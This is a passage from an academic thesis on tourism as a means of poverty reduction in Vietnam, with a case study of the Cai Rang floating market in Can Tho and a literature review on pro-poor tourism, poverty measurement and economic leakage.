sell goods and direct services to tourists (Vietnam Business Forum, 2009a). The development of human resources can help the poor improve their skills, develop new products and raise the quality of existing products, and so gain access to the market. As the result, the tourism sector can contribute to eliminate poverty and reduce hunger in Vietnam. The Ministry of Culture, Sports and Tourism has approved a plan to develop tourism as a key economic sector in the Mekong Delta. The plan, which extends to 2020, will aid in the countrys economic transformation and help reduce hunger and poverty, according to the ministry (VNAT, 2010d). Its main goals are to diversify tourism products and fully exploit the countrys tourism potential. The plan calls for linkages between provinces and cities in the region and additional investment in tourism projects of international standards (VNAT, 2010d). 1.1 The Research Focus: the Cai Rang Floating Market, Can Tho City, Vietnam Located in the centre of the Mekong Delta, Can Tho is the biggest city (an urban area with surrounding hinterland) in the region (see Figures 1.1 and 1.2) (Can Tho Investment Trade Tourism Promotion Centre, 2010). The southern city of Can Tho plays an important role in terms of economics, society and the development of the entire Mekong Delta (VOV News, 2009). Although the city has undergone economic development and urban construction, many urban inhabitants remain reliant on physically poor infrastructure and face poor sanitation conditions. Other critical problems have also emerged; for example, many investment opportunities have been missed because of inappropriate geographical conditions (Nguyen, 2004). Furthermore, poverty reduction in Can Tho city is still fragile. Although the poverty 10 rate of the city has reduced in the last few years, a large proportion of the people, more than thirteen thousand households in 2009, still have incomes that are very near the poverty line and more than fifteen thousand households have incomes below the poverty line (Can Tho City Department of Labour, War Invalids and Social Affairs, 2009). As a result, they can easily fall into poverty when natural disasters or economic crises happen, or even when a household member gets sick (Vietnam Net, 2006). Can Tho is trying to develop its infrastructure and to fight poverty in a bid to become the biggest economic centre in the Mekong Delta region. Figure 1.1: Map of Vietnam Figure 1.2: Can Tho city in the Mekong Delta (Embassy of the Socialist Republic (Forum Vietnamese Environmental of Vietnam in the Republic of Journalists, 2009). Ukraine, 2010) The city of Can Tho is quickly becoming a top tourist destination in Vietnam. The flow of tourists to Can Tho, both international and domestic, shows an upward trend. For the period from 2000 to 2009, the average annual growth rate of international arrivals was 11.84% (Can Tho Administrator of Culture, Sports and Tourism, 2010b). The number of domestic tourists coming to Can Tho city is much higher than 11 the international one. In 2009, tourism revenue was more than VND500 billion (US$23.9 million or NZ$30.56 million) (Can Tho Administrator of Culture, Sports and Tourism, 2010b). Festivals, floating markets, historic sites, southern amateur music, exuberant orchards, immense rice fields and many islets along the Hau River are all appealing tourist attractions. Can Tho city could build on these tourism strengths, using tourism as a potentially strong vehicle for poverty reduction and social development. 1.2 Thesis Outline This thesis consists of six chapters. Following the introduction, Chapter Two reviews extant literature in the following areas: tourism in developing countries, poverty alleviation through tourism and the role of markets in economic development, as well as giving an overview of tourism and poverty in Vietnam. Chapter Three depicts the methodological approach adopted in the study. The research explores the attitudes and behaviours of the stallholders on the Cai Rang floating market, a local tourism official in Can Tho city, a tourism professional, a tour guide and tour operators towards the relationship between tourism development on the Cai Rang floating market and poverty reduction. The chapter first outlines the purposes and importance of the case study approach which is used in this research. Then the methods and means of carrying out primary research are examined. The method is based on face to face, semi-structured interviews with key stakeholders. Sampling issues and data collection are discussed in turn, and the challenges and limitation of this methodology are also discussed throughout this chapter. Chapter Four provides a further context for the case study. The chapter looks at the background to Can Tho city, its poverty and tourism as well as the Cai Rang floating market context. Key findings from an analysis of the research data are presented in Chapter Five. The chapter provides insights into the perspectives of different stakeholders covered by the semi-structured interviews. This chapter also presents comments and policy recommendations for developing tourism on the Cai Rang floating market in a way that could bring more poverty-reduction benefits for local people. 12 The concluding chapter summarises the main points and key issues emerging from the study, and provides suggestions as to where actions can be taken to support poverty alleviation through tourism development on the Cai Rang floating market. The concluding chapter also indicates limitations of the research and where future research can be developed. 13 2. Literature Review Tourism is widely considered to be an effective contributor to socio-economic development, particularly in less developed countries (Senate Economic Planning Office, 2006; Honey & Gilpin, 2009). Despite the almost universal adoption of tourism as a development option, the extent to which economic and social benefits inevitably follow the introduction and promotion of a tourism sector remains the subject of intense debate (Hall, 2007). The purpose of this chapter is to provide an overview of tourism and development in the third world and to examine the concept of pro-poor tourism. Focusing especially on the less developed countries and drawing on contemporary case studies, the chapter explores the role of tourism in development and poverty reduction and, in particular, highlights the dilemmas faced by destinations seeking to achieve development through tourism (Telfer & Sharpley, 2008). The chapter also includes discussion about the role of markets in development as well as an overview of Vietnamese poverty and tourism. 2.1 Tourism and Development in Less Developed Countries 2.1.1 Criterion to constitute less developed countries When attempting to describe the current significance of tourism to many of the worlds less developed countries (LDCs), it is important to understand what constitutes a less developed (or underdeveloped) country. The term less developed country is, of course, subject to wide interpretation and is often used interchangeably with other terminology such as developing country or Third World country or, more generally, The South (Telfer & Sharpley, 2008). A criterion commonly used is to regard as developing or less developed all countries listed by the World Bank as not falling into the high income category (World Bank, 1997, cited in Harrison, 2001). Others prefer to take a more rounded view of development and focus on countries considered by the United Nations Development Programme (UNDP) to have either a medium or low ranking in the Human Development Index (HDI) (UNDP, 1999, cited in Harrison, 2001). This contrasts a country or group of countries (the developing world) with those that are developed, although, similarly, there is no established convention for defining a nation as developed (Telfer & Sharpley, 2008). 14 The World Tourism Organisation (WTO) is revising its classifications. Until recently, it distinguished between developing societies (roughly along the lines of the World Bank classification) and economies in transition, the countries of the former Soviet bloc, a division apparently based on their reluctance (despite not enjoying high income status) to be associated with the Third World (Harrison, 2001). Nevertheless, the UNWTO used to diverge from the World Bank by treating 20 high income countries as developing (including Greenland, Guam, Hong Kong, Singapore and the US Virgin Islands) (Harrison, 2001). There can be no denying the limitations of a category that included Singapore, a city state with a per capita income the purchasing equivalent of US$22,770, (South) Cyprus, where more than 80% of households had a car, 7% had more than three cars, and one in four people owned a mobile phone (Harrison, 2001). However, faced with the choice of using the WTO classifications or retabulating all the tourism statistics of some 150 countries, the value of the WTO listing is substantially enhanced, and the isolation and analysis of trends need not be greatly affected by individual anomalies, which are always likely to be present in some form (Harrison, 2001). Unless otherwise indicated, in this study LDCs will be taken to indicate those classed by the WTO as developing or as economies in transition. 2.1.2 Tourism in less developed countries In 1950, just fifteen destinations primarily European accounted for 98% of all international arrivals (Honey & Gilpin, 2009). Although Europe continues to take nearly 60% of all tourist arrivals, and with the Americas accounts for nearly 80% of all arrivals, during the 1990s these two regions grew relatively slowly, whereas Africa, East Asia/Pacific, the Middle East and South Asia increased their share of the market. During that period, tourism to LDCs increased significantly. According to the WTO (1990), in 1989, LDCs accounted for 85.3 million international arrivals (21% of all tourist trips) and received more than US$54 billion (26%) from all receipts, excluding the cost of travel to destinations (cited in Harrison, 2001). By 1997, the equivalent percentages were 30.5% and 30% (WTO, 1999, cited in Harrison, 2001). By 2007, there were 898 million international tourist arrivals worldwide, with 360 million of these in the developing countries. This indicates an overall increase of 54%, and an average growth of 6% a year from 2000 to 2007. In 15 the 50 least developed countries international tourist arrivals increased to 13 million in 2007, an overall increase of 110%, with an average growth of 11% a year during the period from 2000 to 2007 (Tourism Review, 2008). The increased importance of LDCs is also reflected in the declining market share of Europe and the Americas. Europes share of the global market had fallen to 57% of all international arrivals in 2007 (Honey & Gilpin, 2009). Conversely, the East Asia/Pacific region has enjoyed spectacular growth in tourist arrivals, overtaking the Americas in 2002 to become the worlds second most-visited region that year (Telfer & Sharpley, 2008). Thailand, Malaysia and Singapore are among the main destinations in East Asia Pacific, although interestingly, new destinations in the region including Vietnam and Cambodia have successfully developed their tourism sectors (Telfer & Sharpley, 2008). Travel and tourism activity was hit hard by the global slump, with GDP from travel and tourism contracting by 4.8% in 2009 (WTTC, 2010). Since then, Asia and the Pacific (-2%) have showed an extraordinary rebound. By region, Asia is expected to continue to show the strongest rebound, while Europe and the Americas are likely to recover at a more moderate pace (UNWTO, 2010). Overall there has been a gradual shift away from the traditional destinations of Europe and North America to other regions of the world. Although the standardised sun-sea-sand package holiday remains the most popular form of tourism, at least among tourists from the developed Western world, there has been a dramatic growth in demand for the more individualistic, active/participatory forms of tourism providing a broader or more fulfilling experience (Poon, 1993; Telfer & Sharpley, 2008). An example of this is the growth in demand for cultural tourism, adventure tourism, heritage tourism and ecotourism. Tourists are now considered to be more flexible, more environmentally sensitive, more adventurous and inclined to seek out more meaningful experiences and, hence, travelling increasingly to different, more distant, untouched and exotic or new destinations (Scheyvens, 2002). Another point of note is that most tourists to LDCs are from developed countries. In other words, tourism to LDCs involves people from relatively wealthy countries visiting relatively poor countries (Harrison, 2001). There is no doubt that changing tastes in tourism demand represent a vital opportunity for 16 developing countries; the challenge lies in the extent to which they are able to harness this potential means of development. According to the WTO (2002a), tourism is the leading export earner for one-third of the worlds poorest countries. For the worlds forty poorest countries, tourism is the second-most important source of foreign exchange after oil (Honey & Gilpin, 2009). Meanwhile, 80% of the worlds poor, those living on less than US$1 per day, live in just 12 countries and in 11 of these countries, tourism is significant (> 2% of GDP or 5% of exports) and growing (WTO, 2002a). Over time, an ever increasing number of destinations have opened up and invested in tourism development, turning the industry into a key driver for socio-economic development (Mowforth & Munt, 2009). In some instances, tourism may represent the only realistic development path; that is, for some developing countries there is simply no other choice (Brown, 1998, cited in Telfer & Sharpley, 2008). More positively, however, the most compelling reason for adopting tourism as a development strategy is its potential contribution to the local or national economy, in particular to the balance of payments (Stabler, Papatheodorou & Sinclair, 2010). Many developing countries suffer severe balance of payment deficits and tourism may represent a significant source of foreign exchange earnings. The worldwide perception of tourism is that it is an export or basic industry, unlike most consumer services such as retailing, because the consumer must visit the place of production as opposed to the goods being transported to the market (Debbage & Daniels, 1998, cited in Ioannides, 2003). Tourism is also widely considered to be a labour-intensive industry, and hence an effective source of employment in destination areas, whether as direct employment in hotels, restaurants and so on, or through indirect and informal employment (Scheyvens, 2002). In addition to the possibilities opened by tourism for economic development and for job creation, tourism growth also brings infrastructural changes to destinations. The growth of tourism creates a need for an improved infrastructure in developing economies (WTO, 2002b): transportation systems require a degree of modernisation; water supplies and sanitation arrangements may need improvement; and access roads, airports, telephone systems and other public utilities may have to be extended. In economic terms, many of these services are indivisible in the sense 17 that if the government provides them for tourists, they are at the same time making them available to local residents (Sadler & Archer, 1975). Improved roads benefit farmers in outlying areas, while airstrips constructed primarily to aid tourism may also open up the economies of remote regions (WTO, 2002b). There is no doubt that tourism can work for development. Development in this context does not simply refer to an economic process; rather, it is a multidimensional process leading to what can be described succinctly as good change (Chambers, 1997, cited in Scheyvens, 2002). In recognition of the dependency and lack of power of many Third World nations in the global arena, and the marginalised position of many communities within Third World nations, development herein is seen as embracing values of self- sufficiency, self-determination and empowerment as well as improving peoples living standards (Scheyvens, 2002). Experiences from various countries have shown that tourism can have significant effects, both positive and negative, on an economy (Senate Economic Planning Office, 2006). The UNWTO has worked towards promoting international tourism as one of the most valuable economic sectors for sustainable development and provides guidance to countries that have made tourism a central element of their economic development and poverty reduction strategy (Ministry of Industry and Commerce Lao PDR, 2007). It is worthwhile to examine the tourism industry as an agent of development, an anti-poverty tool, as well as the actions that need to be taken by governments to support the sustainable growth of this sector. 2.2 Tourism and Poverty Alleviation With the emergence of development approaches focused on the poor, by the end of the 1990s development practitioners had begun to think about the possibility of applying poverty elimination goals to tourism (Ashley et al., 2004; Mowforth & Munt, 2009). The concept of pro-poor tourism (PPT), which emphasises the theoretical and conceptual recognition of the function of tourism in poverty reduction is relatively new to the tourism research sphere (Bowden, 2005). 18 2.2.1 The concept of pro-poor tourism Although the economic significance of tourism for developing countries is long established, it is not until recently that tourism has begun to be exalted as a powerful weapon to attack poverty. Walter Jamieson, a tourism consultant, suggested the need for tourism officials to shift from a situation where tourism arrivals are the primary indicator of tourism success to one concerned with a sustainable approach which improves conditions for the poor through tourism development (Mowforth & Munt, 2009). The convergence of high tourism growth in poverty-stricken countries has generated a large amount of interest in tourism as a poverty alleviation strategy; this is sometimes term pro-poor tourism (Goodwin, 2000). Some authors (Sofield, Bauer, Delacy, Lipman and Daugherty, 2004) prefer to use the World Tourism Organisations term Sustainable Tourism Eliminating Poverty. Other industry sources may refer to tourism as a tool for poverty alleviation, poverty reduction or poverty elimination (Chok, Macbeth & Warren, 2007). These concerns are acknowledged but PPT has been adopted in this study to reflect its continued usage in key policy documents. Pro-poor tourism can be defined as forms of tourism that generate net benefits for the poor (Ashley, Roe & Goodwin, 2001). Economic costs and benefits are clearly important, but social, environmental and cultural costs and benefits also need to be taken into account (Chok et al., 2007). PPT is not a specific product or sector of tourism, but an approach. Pro-poor tourism initiatives seek to achieve greater equity by providing the poorest members of destination societies with the opportunity to benefit from access to tourism market (Telfer & Sharpley, 2008). The poor are frequently excluded from the local tourism sector, and thus are unable to sell locally produced products or provide other services. The objective of pro-poor tourism, therefore, is to open up access for the poor to the tourism sector, thereby providing them with a vital source of income (Ashley et al., 2001). Pro-poor tourism has emerged from the belief that tourism can and should contribute to pro-poor economic growth. Pro-poor growth enables the poor to actively participate in and significantly benefit from economic activity (Pro-Poor Tourism Partnership, 2004, cited in Chok et al., 2007). However, this definition of PPT says nothing about the relative distribution of the benefits of the tourism. Therefore, as 19 long as poor people reap net benefits, tourism can be classified as pro-poor even if richer people benefit more than poorer people (Ashley et al., 2001). Rather than exploring the intricacies of defining net positive benefits, this section focuses on PPT principles and strategies that enhance benefits to the poor. Table 1: Key PPT principles Participation: Poor people must participate in tourism decisions if their livelihood priorities are to be reflected in the way tourism is developed. A holistic livelihoods approach: Recognition of the range of livelihood concerns of the poor (economic, social, and environmental; short-term and long-term). A narrow focus on cash or jobs is inadequate. Balanced approach: Diversity of actions needed, from micro to macro level. Linkages are crucial with wider tourism systems. Complementary products and sectors (such as transport and marketing) need to support pro-poor initiatives. Wide application: Pro-poor principles apply to any tourism segment, though strategies may vary between them (for example, between mass tourism and wildlife tourism). Distribution: Promoting PPT requires some analysis of the distribution of both benefits and costs and how to influence it. Flexibility: Blueprint approaches are unlikely to maximise benefits to the poor. The pace or scale of development may need to be adapted; appropriate strategies and positive impacts will take time to develop; situations are widely divergent. Commercial realism: PPT strategies have to work within the constraints of commercial viability. Cross-disciplinary learning: As much is untested, learning from experience is essential. PPT also needs to draw on lessons from poverty analysis, environmental management, good governance and small enterprise development. (Adapted from Chok et al., 2007, p. 37). 20 As an approach, PPT is guided by underlying principles, which are outlined in Table 1. These principles recognise that poverty is multidimensional; they extend beyond income generation to include a range of livelihood impacts from tourism. The lack of a rigid blueprint emphasises the need to be context-specific such flexibility is governed by an unequivocal core focus on the poor in the South. PPTs emphasis is on unlocking opportunities for the poor within tourism, rather than expanding the overall size of the sector in other words, tilting rather than expanding the cake (DFID, 1999, cited in Chok et al., 2007). 2.2.2 Overview of pro-poor tourism strategies Strategies for pro-poor tourism can be divided into those that generate three different types of local benefit: economic benefits, other livelihood benefits such as physical, social or cultural improvements, and less tangible benefits such as participation and involvement (Scheyvens, 2002). Each of these can be further disaggregated into specific types of strategies. Strategies focused on economic benefits include (Ashley et al., 2001; WTO, 2002a, 2004): Expansion of employment and local wages via commitments to local jobs and training locals for employment. Expansion of business opportunities for the poor. These may be businesses or entrepreneurs who sell inputs such as food, fuel or building materials to tourism operations, or they may be businesses that offer products directly to tourists, such as guiding, crafts, tea shops etc. Support can vary from marketing and technical support (for example, by nearby mainstream operators), to shifts in procurement strategy, or direct financial and training inputs. Development of collective community income. This may be from equity dividends, lease fees, revenue sharing or donations, usually established in partnership with tourism operators or government institutions. In general, staff wages are a massive boost to those few that get them, small earnings help many more to make ends meet, and collective income can benefit the majority, 21 but can often be misused. All three types of economic benefits are important for reaching different poor families. Strategies to create these benefits need to tackle many obstacles to economic participation, including lack of skills, low understanding of tourism, poor product quality and limited market access. Strategies to enhance other (non-cash) livelihood benefits generally focus on capacity building, training and empowerment. Furthermore, the strategies also include mitigation of the environmental impact of tourism on the poor and management of competing demands for access to natural resources between the tourism sector and local people. In addition, strategies are needed to address potential conflicts arising from competing uses of natural resources, and to improve social and cultural impacts of tourism as well as improve access to services and infrastructure (for example, health care, radio access, security, water supplies, transport) (Pro-Poor Tourism Partnership, n.d.). Such strategies can often begin by reducing negative impacts such as cultural intrusion, or lost access to land or coast. More can be done to then address these issues positively, in consultation with the poor. Opportunities to increase local access to services and infrastructure often arise when these are being developed for the needs of tourists, but with some consultation and adaptation could also serve the needs of residents (Telfer & Sharpley, 2008). Strategies for capacity-building may be directly linked to boosting cash income, but may also be of more long-term indirect value, such as building management capacity of local institutions. Strategies focused on policy, process and participation can create (Pro-Poor Tourism Partnership, n.d.; Ashley, Boyd & Goodwin, 2000; Ashley et al., 2001): the development of a more supportive policy and planning framework that enables participation by the poor increased participation by the poor in decision-making: i.e. ensuring that local people are consulted and have a say in tourism decision making by government and the private sector pro-poor partnerships with the private sector, and 22 at the minimum, increased flow of information and communication through meetings, report backs, sharing news and plans. This is not participation but lays the basis for further dialogue. Implementing these strategies may involve lobbying for policy reform, involving the poor in local planning initiatives, amplifying their voice through producer associations, and developing formal and informal links between the poor and private operators. In summary, the core focus areas of PPT could be summarised into three distinct but overlapping strategies that include economic benefits, non-economic impacts and reforming the policy process (Roe & Urquhart, 2004). Enhancing the participation of the poor through capacity building and skills transfer, as well as reforming decision- making processes so that their needs are prioritised, are recognised as key. These broad strategies need to be pursued across sectors and levels (both micro and macro) and involve a variety of stakeholders (from governments to international donors and investors, tour operators, tourists and the poor) (DFID, 1999, cited in Chok et al, 2007). 2.2.3 Understanding poverty According to Mitchell and Ashley (2007), defining how tourism affects the poor and poverty reduction is futile without defining who the poor are, how poverty is measured and what is meant by poverty reduction. From a materialist point of view, income is the most widely adopted (if also narrow) measure of poverty. A consensus among donors has established an international poverty line that distinguishes the poor as those who live on less than US$2 per day (in 1985 terms adjusted for purchasing power parity), while people living on less than US$1 per day are classified as extremely poor (Cattarinich, 2001). However, definitions of the poverty line vary considerably among nations. For example, rich nations generally employ more generous standards of poverty than poor nations (Central Intelligence Agency, n.d.). Thus, the numbers are not strictly comparable between countries. Nevertheless, the belief that those who earned less than US$1.00 per day would be regarded as poor was widely accepted as the basic measure of poverty (Yari, 2003). However, a recent World Banks report claims the setting of the US$1-a-day 23 definition of poverty is arbitrary, and that the definition imposes inconsistent standards between countries, fails to reflect differences in inflation between rural and urban areas; and gives much greater weight to the prices of goods bought by richer people in those countries than by poorer people (New Economics Foundation, 2010). In 2008, the World Bank came out with a revised figure of US$1.25 at 2005 purchasing-power parity (PPP) (Parsons, 2008). While the international poverty line is useful for stimulating political action and for measuring progress according to specific dimensions of poverty, it is based on a reductionist conceptualisation of poverty (ODI & AIRD, 1999, cited in Cattarinich, 2001). Poverty measurement is not only about an economic approach but should also include non-economic approaches such as basic needs, inequality, subsistence and the human development index (Spenceley & Goodwin, 2007; Yari, 2003). ODI and AIRD (1999) define poverty as a multidimensional phenomenon that consists of a lack of certain things upon which human health, well-being, and autonomous social functioning depend, including the ability to meet basic needs (cited in Cattarinich, 2001). This lack may consist of insufficient income, consumption or assets, entitlements, rights or security. In other words, poverty is the shortage of common things such as food, clothing, shelter and safe drinking water, all of which determine the quality of life. It may also include a lack of access to opportunities such as education and employment as well as a lack of marketable skills which aid the escape from poverty and/or allow one to enjoy the respect of fellow citizens (Cattarinich, 2001). Recent poverty analyses also involve other issues like lack of sanitation, vulnerability, isolation, social exclusion, personal dignity, self-respect, powerlessness, lack of voice, representation and freedom (Spenceley & Goodwin, 2007). Thus, there are both material and non-material dimensions to poverty (Cattarinich, 2001). Furthermore, Tong and Lin (1995, cited in Guo, 2008) suggested that poverty could be divided into two types, absolute and relative poverty. Absolute poverty is when people lack adequate clothing and food and simple production is difficult or impossible to maintain, whereas relative poverty is when people have just-adequate food and clothing but their living standard is below the recognised basic level, and when simple production can be maintained but there is very little or 24 no ability to extend production (Guo, 2008). These concepts must be kept in mind in order to define the focus for PPT. Due to the multidimensional nature of poverty, understanding any poverty-related issue is always a challenge because a wide range of interwoven factors, such as economic, socio-political and cultural forces, need to be taken into account. Despite the practical difficulties in studying poverty, this field is obviously worth greater research efforts given that poverty has become one of the biggest enemies of humankind into the 21st century (Hall, 2007). The Millennium Development Goals (MDGs) are a historic pledge to halve the proportion of the worlds people whose income is less than one dollar a day by the year 2015 (United Nations, 2000, cited in Hall, 2007). It is believed that tourism, as one of the largest economic drivers in the contemporary world, should and also can play a more active role in achieving such an ambitious goal. 2.2.4 The role of tourism in poverty alleviation Tourism is often touted as a route out of poverty for those communities and nations which embrace and promote it. It is particularly presented in this way by First World governments and tourism organisations like the WTO and WTTC. Increasingly over recent years, First World development agencies and United Nations agencies have also come to accept that the industry can be seen as a vehicle for alleviating poverty (Mowforth, Charlton & Munt, 2008). Since the late 1990s, the Pro-Poor Tourism Partnership in the United Kingdom, a collaborative research initiative of the International Centre for Responsible Tourism (ICRT), the International Institute for the Environment and Development (IIED) and the Overseas Development Institute (ODI), has been committed to investigating ways to tap the potential of tourism in poverty alleviation and is responsible for most of the early research and documentation (Ashley et al., 2001, cited in Zhao & Ritchie, 2007). For three decades the IMF, WTO and World Bank have promoted a prevailing belief in comparative advantage, forcing Third World countries to produce tropical goods and to exploit their natural resources, but this have given rise to increases in poverty and inequalities (Mowforth et al., 2008). Therefore, the perceived need for change 25 and the relatively recent use of the tourism industry as a new mechanism are for addressing its failings. Hence, too, the recent rise to prominence of pro-poor tourism initiatives. National governments in the Third World follow this line and view tourism as a means of increasing foreign earnings and as a generator of employment (Mowforth et al., 2008). At a local level, tourism potential to generate net benefits for the poor, or to be pro- poor, lies in four main areas. Firstly, tourism is a diverse industry, which increases the scope for wide participation of different stakeholders and businesses, including the involvement of the informal sector (Spenceley & Goodwin, 2007). Secondly, the customer comes to the product, which provides considerable opportunities for linkages to emerging entrepreneurs and small, medium and micro-enterprises (SMMEs) (Honey & Gilpin, 2009). Tourism creates networks of different operations, from hotels and restaurants to adventure-sports providers and food suppliers. This enables tourist centres to form complex and varied supply chains of goods and services. Thirdly, tourism is highly dependent upon natural capital (for example, wildlife and culture), which are assets that the poor may have access to even in the absence of financial resources (Spenceley & Goodwin, 2007). The poor can use their natural resources and the local culture as an income-generating comparative advantage. Fourthly, tourism can be more labour intensive than other industries such as manufacturing (Spenceley & Goodwin, 2007). Mathieson and Wall (1982) also mention that since many jobs in tourism require minimal skills, it is possible to absorb a large proportion of the required workforce from other sectors without the major investments in training programmes that are often required by other industries (cited in Ioannides, 2003). Moreover, many tourism jobs are flexible or seasonal and can be taken on in parallel with existing occupations, such as farming, providing extra income for local population (Honey & Gilpin, 2009). As an additional source of income, tourism can play an important part in improving living standards and raising people above the poverty threshold. For example, waged employment from tourism can be sufficient to lift a household from insecure to secure. Casual earnings per person may be very small, but much more widely spread and may be enough, for instance, to cover school fees for one or more children. Work as a tourist guide, although casual, is often of high status and 26 relatively well paid. Examples from Kenya, Namibia and Zimbabwe illustrate that it can match wage income in scale and that in principle it can benefit all residents (Goodwin, 2000). Tourism not only provides material benefits for the poor, but can also bring cultural pride, a sense of ownership and control, reduced vulnerability through diversification and the development of skills and entrepreneurial capacity (WTO, 2002b). There are a number of reasons to look again at tourism and to assess its potential to promote development and economic growth as well as generate pro-poor opportunities. Compared with most sectors, including extractive industries and manufacturing, tourism-related investments hold the perceived promise of rapid returns (WTO, 2004; Ioannides, 2003). Tourism is an attractive sector for policy makers primarily because of its wealth and job-creating potential, not to mention that ordinary residents have often benefited from tourism-related investments, both financially and through improved amenities (Fainstein & Gladstone, 1999; cited in Ioannides, 2003). Tourism development is normally associated with the improvement of a destinations infrastructure and services (for example, roads, airports, health care facilities and sewage systems) and other facilities (for example, playing fields, sports centres, parks and theatres), all of which ultimately benefit the local population. According to Law (1992, cited in Ioannides, 2003), the tourism-related improvements can also boost a communitys image for potential investors seeking locations to establish their business. Furthermore, localities can use tourism as an invisible export in the same way they may use the production of tangible manufactured or agricultural goods to attract necessary foreign exchange and fulfil their overriding economic goals of wealth creation, employment generation and enhancement of the host populations living standards (Ioannides, 2003). Mathieson and Wall (1982, cited in Ioannides, 2003) maintained that policy makers favour the development of tourism instead of concentrating on export of agriculture products because communities seldom have control over the prices of those commodities. In fact, in many countries with high levels of poverty, receipts from international tourism are a considerable proportion of GDP and export earnings (Roe et al., 2004). 27 While industrialisation was seen as the main means of economic growth under modernisation theory, the tourism industry was also identified as an important tool for economic development. Once economic growth started to occur, it was assumed that any benefits would trickle down to improve the quality of life of the majority of a countrys population (Scheyvens, 2002, p. 23). The improved well-being of the local poor would, in turn, contribute to poverty reduction at the destination. As a result, tourism is considered as a potential tool for poverty alleviation. The confluence of tourism and poverty reflects an essential change in the philosophy of tourism development and poverty alleviation, and is illustrated in Figure 2.1. Figure 2.1: Tourism and poverty alleviation (Adapted from Zhao & Ritchie, 2007, p. 10). With these benefits in mind, the United Nations has identified the development of tourism as one of the methods poorer countries might use to meet the Millennium Development Goals. Thus in an assessment of Nigerias potential for tourism, Francesco Frangialli, the former head of the UNWTO, argued that with its capacity to spread its socioeconomic benefits to all levels of society tourism can be a leading industry in the fight against poverty. (Honey & Gilpin, 2009, p. 2). Some challenges and limitations of tourism as a tool for poverty alleviation Tourism not only brings economic benefits but also imposes direct and indirect costs on host communities. A destinations resources land, labour, and capital are used to provide goods and services to tourists and tourism businesses. Because resources employed in tourism may have other uses, usually a cost is accrued to the community when these resources are diverted from their previous uses and employed in tourism Tourism Development Poverty Reduction Alleviation Destinations Economic Growth Enhanced Well- Being of the Poor Tourism Development 28 (Mak, 2004). In some developing countries, tourism development can have an adverse impact on traditional agriculture by diverting agricultural labour to tourism. While tourism receipts rise, agricultural output declines. Once the loss of agricultural output is subtracted from the gross tourism receipts, the net economic contribution of tourism may only be a small fraction of its gross receipts (Mak, 2004). Moreover, tourism income usually benefits the local community economically but the associated development often serves as a magnet that attracts labour from outside the area (Smith & Brent, 2001). If there is a shortage of skilled labour then there may be a need to import labour from other countries; this will result in additional economic leakages as income earned from this imported labour may be, in part, repatriated (Cooper, Fletcher, Gilbert, Shepherd & Wanhill, 1998). If tourist facilities and services are owned and managed by foreigners or when foreigners invest in tourism development, there may also be economic leakage as profits are sent back to source nations (UNEP & WTO, 2005). In addition, there could be economic leakage because of the payment for goods and services imported to satisfy tourist needs (Phillips, Ludvigson & Panoho, 2005). The leakage of foreign currency, particularly through imports, is long recognised in the economic impact literature, with reviews by Archer (1996), Fletcher (1989) and Wanhill (1994) (cited in Blake, Arbache, Sinclair & Teles, 2007). McCulloch, Winters and Cirera (2001) estimate that between 55% and 75% of tourism spending in LDCs leaks back to developed countries (cited in Blake et al., 2007). It is clear that some of the tourist receipts in developing countries have no impact on poverty relief because of high leakages. These economic leakages were also highlighted in Brittons (1981, 1982) model of dependent tourism development (see Figure 2.2) (cited in Milne, 1997). Brittons study, based on the South Pacific island of Fiji, focused on how tourism impacts on the destination economy. His work inspired wide application of dependency theory (Scheyvens, 2002). Britton emphasises that small island states are particularly vulnerable in a global economy dominated by multinational corporations which control a range of tourism products and services, from transport to accommodation. He stresses the inequitable distribution of tourisms economic benefits. The leakage of tourist dollars occurs, for example, when multinational tourism companies follow 29 centralised purchasing procedures which impede local managers from buying supplies locally (Brown, 1998, cited in Scheyvens, 2002). In addition, the loss of the economic benefits of tourism to a host country is particularly evident when tourists book their travel through Western travel agencies, use Western airlines, and stay in accommodation that is part of a multinational hotel chain. Dependency theory also suggests that local communities can only assume a passive role in international tourism they can only get crumbs from the table (Milne, 1997, p. 288). It is believed that insensitive tourist developments can displace local people and destroy traditional livelihoods, leaving many with no alternative but to take up low-paying and exploitative jobs in the tourist sector (Mak, 2004). However, the dependency theory was criticised in that it failed to acknowledge the importance of local participation in the tourism industry and did not recommend any workable strategies for the destinations to break out of the vicious cycle (Milne, 1997). Figure 2.2: Key elements of Brittons model of dependent tourism development (Milne, 1997, p. 287) In addition to these challenges for poverty alleviation through tourism, there are limits to what PPT can achieve as a poverty elimination strategy. Firstly, the poor may not have the required skills, knowledge and capital to produce high quality, competitive products. They cannot easily market their products to tourists and 30 enterprises in the tourism sector. This could lead to a high dependence on foreign input and intervention in developing tourism strategies and creating promotion programmes, as well as loss of opportunities to take jobs at management levels for local people (Chok et al., 2007). Tourism jobs that employ the local poor are often low-paid jobs as the result of a number of factors, including the high percentage of unskilled jobs and the prevalence of seasonal, casual, part-time, transitory and female employment. Secondly, the PPT approach can be limited because, in some cases, the poor who receive funding from government or NGOs to produce goods and products to sell to tourists may spend the money on other purposes (Telfer & Sharpley, 2008). Thirdly, it is said that developing countries have weak bargaining power over the international tour operators in terms of controlling access to tourist expenditures and retention of profits (Chok et al., 2007). Fourthly, there is concern about tourism economic benefits not being spread equally among the poor. It is also believed that the fairly poor would gain more benefits than the poorest, who lack the capital and skills to enable involvement in tourism industry (Chok et al., 2007). Finally, powerful stakeholders may also manipulate opportunities to serve their self-interests rather than to help the poor (Chok et al., 2007). A focus on the negative impacts of tourism development has led some to reject the notion that tourism could be an agent of development (Scheyvens, 2002). However, it seems particularly inappropriate to reject all notions of tourism as a strategy for development when it has been identified by communities as a potential means of improving their well-being. To sum up, although PPT has some limitations, there is evidence that tourism development can potentially help to reduce poverty (WTO, 2006; Ashley et al., 2001). It should also be noticed that pro-poor growth demands considerable time inputs, attitudinal changes and flexibility (Chok et al., 2007). Moreover, co-operation of all stakeholders at all levels is needed to make a PPT initiative successful and sustainable (Roe et al., 2004). 31 2.2.5 Local participation in tourism While tourism can be a force to alleviate poverty, much depends on the way the sector is planned and managed (Honey & Gilpin, 2009). One of the criteria often agreed as essential to the conditions of sustainability and development in any new tourism scheme is the participation of local people (Mowforth & Munt, 2009). The WTO (1993) also suggests that it is necessary to involve community residents in the tourism development process. The two words, local and participation, are regularly used together to emphasise the need to include and involve local people; and it is this juxtaposition of the two words which implies, paradoxically, that it is local people who have so often been left out of the planning, decision making and operation of tourist schemes (Mowforth & Munt, 2009). As Henkel and Stirrat (2001, cited in Mowforth & Munt, 2009, p. 225) state, It is now difficult to find a development project that does not ... claim to adopt a participatory approach involving bottom-up planning, acknowledge and claiming to empower local people. Jules Pretty (1995, cited 